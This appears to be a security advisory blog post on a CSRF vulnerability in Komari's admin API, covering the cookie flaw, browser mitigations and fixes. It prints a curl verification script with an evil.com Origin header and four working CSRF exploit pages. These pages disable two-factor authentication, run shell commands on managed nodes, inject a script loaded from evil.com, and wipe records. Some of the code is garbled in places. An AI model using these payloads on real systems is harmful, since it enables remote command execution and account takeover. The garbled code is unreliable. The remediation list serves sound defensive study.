Listen to this Post
The session_token cookie is set without SameSite or Secure attributes at login.go:68.
All /api/admin/ management endpoints rely solely on this cookie for authentication.
There is no CSRF token validation.
There is no Origin header validation.
The server-side vulnerability is confirmed to exist.
Cross-site exploitation is mitigated in modern browsers by default SameSite=Lax.
Root cause:
c.SetCookie(“session_token”, session, 2592000, “/”, “”, false, true)
Secure=false.
SameSite is not explicitly set.
Admin route group server.go:213-343 has no CSRF middleware.
Gin’s ShouldBindJSON does not strictly validate Content-Type.
text/plain requests can bypass CORS preflight.
Browser limitations:
Chrome 80+ (Feb 2020) defaults unspecified cookies to SameSite=Lax.
Firefox 103+ (Jul 2022) defaults unspecified cookies to SameSite=Lax.
Safari defaults unspecified cookies to SameSite=Lax.
Cookies without explicit SameSite are not included in cross-site POST requests.
Server receives requests without session cookie and returns HTTP 401 Unauthorized.
Exploitable scenarios:
Cross-site HTML in modern browsers: blocked by SameSite=Lax.
Cross-site HTML in Chrome <80 or legacy browsers: exploitable. Same-origin context via Browser Console or existing XSS: exploitable.
Man-in-the-middle over HTTP because Secure=false: exploitable.
High-impact operations reachable via CSRF:
/api/admin/task/exec POST executes arbitrary shell commands on managed nodes.
/api/admin/2fa/disable POST disables administrator two-factor authentication.
/api/admin/settings/ POST modifies system configuration.
/api/admin/upload/backup POST uploads a malicious backup.
/api/admin/record/clear/all POST deletes all monitoring records.
/api/admin/client/:uuid/edit POST modifies client configuration.
/api/admin/client/:uuid/remove POST removes managed clients.
/api/admin/session/remove/all POST invalidates all active sessions.
/api/admin/settings/cloudflared/start POST starts a Cloudflared tunnel.
DailyCVE Form:
Platform: Komari
Version: Not specified
Vulnerability: CSRF missing SameSite
Severity: Critical
date: Not specified
Prediction: Unknown
(end of form)
What Undercode Say:
Analytics:
!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[bash] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[bash] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[bash] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
Exploit: (Educational Purposes!)
<!DOCTYPE html>
<html>
<head><>Loading...</></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><>Loading...</></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[bash].uuid) uuids.push(nodes[bash].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><>Loading...</></head>
<body>
<
script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head><>Loading...</></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Protection: from this CVE
- Set session_token with Secure=true.
- Set SameSite=Strict or SameSite=Lax.
- Add CSRF tokens to all admin POST endpoints.
- Validate Origin and Referer headers.
- Enforce Content-Type application/json.
- Do not rely solely on cookies for admin authentication.
- Use HTTPS for all admin traffic.
- Add CSRF middleware to server.go:213-343.
- Patch login.go:68 cookie attributes.
Impact:
- Execute arbitrary shell commands on managed nodes.
- Disable administrator two-factor authentication.
- Modify system configuration.
- Upload a malicious backup.
- Delete all monitoring records.
- Modify client configuration.
- Remove managed clients.
- Invalidate all active sessions.
- Start a Cloudflared tunnel.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
